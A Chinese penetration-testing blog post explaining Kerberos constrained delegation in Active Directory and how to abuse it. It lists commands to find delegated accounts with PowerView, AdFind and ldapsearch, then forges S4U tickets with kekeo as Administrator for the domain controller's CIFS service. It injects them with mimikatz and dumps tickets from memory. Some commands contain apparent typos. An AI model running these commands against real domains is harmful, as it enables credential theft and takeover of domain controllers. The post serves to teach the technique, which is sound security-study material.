Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

Kerberos 域委派攻击之约束性委派

内网渗透 Adminxe 901℃ 0评论

由于非约束性委派的不安全性,微软在 Windows Server 2003 中引入了约束委派。区别在于不会直接把 TGT 给服务,所发送的认证信息中包含了允许访问的服务,即不允许服务代表用户去访问其他服务。同时为了在 Kerberos 协议层面对约束性委派的支持, 微软扩展了两个子协议:

  • S4U2Self Service for Administrator to Self
  • S4U2Proxy Service for Administrator to Proxy

S4U2Self 可以代表自身请求针对其自身的 Kerberos 服务票据 STS4U2Proxy 可以用上一步获得的可转发 ST 服务票据以用户的名义请求针对其他指定服务的 ST 服务票据。

对于约束性委派,服务账号只能获取该用户的 ST 服务票据,从而只能模拟该用户访问特定的服务。配置了约束性委派账户的 msDS- AllowedToDelegateTo 属性会指定对哪个 SPN 进行委派。约束性委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。

在域控上配置约束性委派

约束性委派有两种,然后添加可以由此账户提供委派凭证的服务即可:

  • 仅使用 Kerberos(K)
  • 使用任何身份验证协议 (N)下面设置了服务用户 test 的约束性委派,协议为域控 dccifs 协议

仅使用 Kerberos(K)

仅用 Kerberos 协议进行身份验证,不支持协议转换。置了仅使用 Kerberos(K) 约束性委派的机器账号和服务账号的 userAccountControl 属性与正常账号一样,但是其 msDS- AllowedToDelegateTo 属性会有允许被委派的服务的 SPN。

使用任何身份验证协议 (N)

支持协议的转换。

  • 配置了使用任何身份验证协议 (N) 约束性委派的机器账号的userAccountControl属性有个 FLAG 位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1001000=16781312。并且其msDS-AllowedToDelegateTo属性会有允许被委派的服务的 SPN。
  • 配置了使用任何身份验证协议 (N) 约束性委派的服务账号的userAccountControl属性有个 FLAG 位NORMAL_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1000200=16777728。并且其msDS-AllowedToDelegateTo属性会有允许被委派的服务的 SPN。

查询约束性委派的计算机或服务账号

PowerView

PowerView 有几个不同的版本,这里用的是 PowerShellMafia 下的,脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# 导入 PowerView 脚本
import-module .\PowerView.ps1

# 查询域内约束性委派的计算机
Get-DomainComputer -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl

# 查询域内非约束性委派的服务账号
Get-DomainAdministrator -TrustedToAuth -Domain attack.cn -Properties distinguishedname,userAccountControl,msds-allowedtodelegateto | fl

# 获取设置了约束性委派的机器账号
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

Get-DomainComputer -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

Adfind

下载地址:https://oss.attack.info/file/AdFind.exe

该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询。

# 查询域内约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" -dn

# 查询非束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn

ldapsearch

kali 内置,其他系统安装

# Ubuntu 用户安装
sudo apt install ldap-utils

# mac 用户安装
brew install ldapvi

该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。

# 查询域内约束性委派的计算机
ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

# 查询非束性委派的服务账号
ldapsearch -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd" -b dc=attack,DC=cn "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

约束性委派攻击

服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash ,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT

# kekeo
tgt::ask /user:test /domain:attack.cn /password:P@ssw0rd

# 得到服务用户 test 的 TGT: TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi

使用这张 TGT 通过伪造 S4U 请求以 administrator 用户身份请求访问 dc CIFS 的 ST

# kekeo
tgs::s4u /tgt:TGT_test@ATTACK.CN_krbtgt~attack.cn@ATTACK.CN.kirbi /user:Administrator@attack.cn /service:cifs/dc.attack.cn

# S4U2self 的 ST1: TGS_Administrator@attack.cn@ATTACK.CN_test@ATTACK.CN.kirbi
# S4U2proxy 的 ST2: TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi

S4U2Self 获取到的ST1S4U2Proxy 获取到的域控 dc CIFS 服务的 ST2 会保存在当前目录下,然后用 mimikatz 将 ST2 导入当前会话,即可成功访问域控 dc

# mimikatz
kerberos::ptt TGS_Administrator@attack.cn@ATTACK.CN_cifs~dc.attack.cn@ATTACK.CN.kirbi

如果不知道服务用户明文的情况下,kekeo 同样也支持使用 NTLM Hash,在请求服务用户的 TGT 那步直接把 /password 改成 /NTLM 即可

# kekeo
tgt::ask /Administrator:test /domain:attack.cn /NTLM:e19ccf75ee54e06b06a5907af13cef42

如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出

注意:涉及提权,然后读取,普通与用户没办法调用管理员形式启动cmd读取凭证,当然这种形式在实战中九经常利用到!!!

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
引用下zjun师傅的图,因为我的环境崩了

服务用户的 TGT 导出后,就可以通过伪造 S4U 请求以 administrator 用户身份请求访问 dc CIFS 的 ST

# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-attack.cn.kirbi /Administrator:Administrator@attack.cn /service:cifs/dc.attack.cn

转载请注明:Adminxe's Blog » Kerberos 域委派攻击之约束性委派

喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址